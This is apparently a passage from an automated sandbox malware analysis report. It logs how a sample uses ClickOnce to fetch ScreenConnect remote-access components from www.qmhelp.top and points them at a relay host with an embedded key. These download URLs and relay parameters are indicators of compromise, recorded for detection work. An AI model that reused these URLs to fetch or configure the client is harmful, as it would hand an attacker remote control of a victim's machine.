Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=miledin.mwhelp.site&p=8880&k=BgIAAACkAABSU0ExAAgAAAEAAQC1BC7FdVJJFmJKDeQwCiJ3JJNEMl4x59nF7GGtNmjpuazxqDcF4oXznuaF7%2bPvugux9iQl0N%2fv66hQ12W0ZIEMc6tfjE3cMNDEOZODX53g06Q8bUHTzh2x%2f%2b%2bqrAZH38rwy8BEaezwgd3uPlgjgt802V5RYOIginnPSg2QEYJY4zP%2b13deRrkTtsV6UQI5iKxqWvcrjc%2fgnpsbKuxD%2f8jpqy4DtSBRMb9x3urpOt2zfLzMjV0lF10MnyNOj1gz6q1%2bFaQncjp2SQiX%2fLZxsoFe0atFkdojc3UhMzdhfUWSymENjpLdauviud8LLhJxAaEW8KIHkbGfg7iNE6VySqaj&r=&i= HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: www.qmhelp.topAccept-Encoding: gzip

Source: global traffic	DNS traffic detected: DNS query: www.qmhelp.top
Source: global traffic	DNS traffic detected: DNS query: miledin.mwhelp.site

Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: C56C4404C4DEF0DC88E5FCD9F09CB2F10.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, 00000000.00000002.1912261588.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRoot
Source: F2E248BEDDBB2D85122423C41028BFD40.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, 00000000.00000002.1912261588.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampi3)
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, 00000000.00000002.1912261588.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D987D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D97F0000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D98BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabs
Source: dfsvc.exe, 00000001.00000002.3055864006.000001D2D9943000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.c
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D9860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.cr
Source: dfsvc.exe, 00000001.00000002.3051108557.000001D2D7578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedRootG4.crl
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BEE3A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1871815455.000000000290A000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1871815455.0000000002BFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.13.dr	String found in binary or memory: http://upx.sf.net
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.o
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF29A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF225000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF136000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF15F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.or
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BEEAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2core
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BEEAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2coreS
Source: dfsvc.exe, 00000001.00000002.3052659483.000001D2D8E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: ScreenConnect.Core.dll0.1.dr	String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF367000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BEE3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top
Source: dfsvc.exe, 00000001.00000002.3055864006.000001D2D9943000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/B
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.C
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1870575148.0000000000A2C000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1871815455.0000000002861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1874762837.000000001B1A2000.00000004.00000020.00020000.00000000.sdmp, RB87D1Y8.log.1.dr	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.application
Source: dfsvc.exe, 00000001.00000002.3055864006.000001D2D9943000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3054816957.000001D2D98E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application%
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1874590511.000000001B169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application7a5c561934e089
Source: RB87D1Y8.log.1.dr	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=miledin.mwhelp.site&
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D97F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.applicationETEY.OE4z
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D984A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.applicationN
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1874590511.000000001B169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application_4?
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D97F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.application_Y.OE4
Source: dfsvc.exe, 00000001.00000002.3054213457.000001D2D92F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.applicationonx
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D987D000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3054816957.000001D2D97F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.applications
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D97F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.applications_
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1874590511.000000001B169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.applications_0I
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D987D000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF019000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF367000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.dll
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF15F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1871815455.000000000286A000.00000004.00000800.00020000.00000000.sdmp, RB87D1Y8.log.1.dr	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.manifest
Source: dfsvc.exe, 00000001.00000002.3051108557.000001D2D75B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Client.manifestV
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF367000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.ClientSer
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.ClientService.dll
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF367000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.ClientService.exe
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Core.dll
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF44A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Windo
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Windows.dll
Source: dfsvc.exe, 00000001.00000002.3055864006.000001D2D9943000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.Windows.dll6
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF44A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsBackstageS
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF44A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF367000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF44A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF367000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3051108557.000001D2D750F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config
Source: dfsvc.exe, 00000001.00000002.3042364344.000001D2BD300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsBackstageShell.exe.configBc
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF44A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsBackstageShell.exeX
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D987D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsBackstageShell.exen
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsCl
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsClient.exe
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF44A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF367000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsClient.exe.config
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D987D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsClient.exe.configd
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D987D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsClient.exe.configr
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF44A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsFileManager.ex8
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF44A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF367000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3051108557.000001D2D7578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsFileManager.exe
Source: dfsvc.exe, 00000001.00000002.3043338622.000001D2BF44A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3043338622.000001D2BF367000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsFileManager.exe.config
Source: dfsvc.exe, 00000001.00000002.3054816957.000001D2D987D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.qmhelp.top/Bin/ScreenConnect.WindowsFileManager.exe.configa

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63076
Source: unknown	Network traffic detected: HTTP traffic on port 63077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63075
Source: unknown	Network traffic detected: HTTP traffic on port 63075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
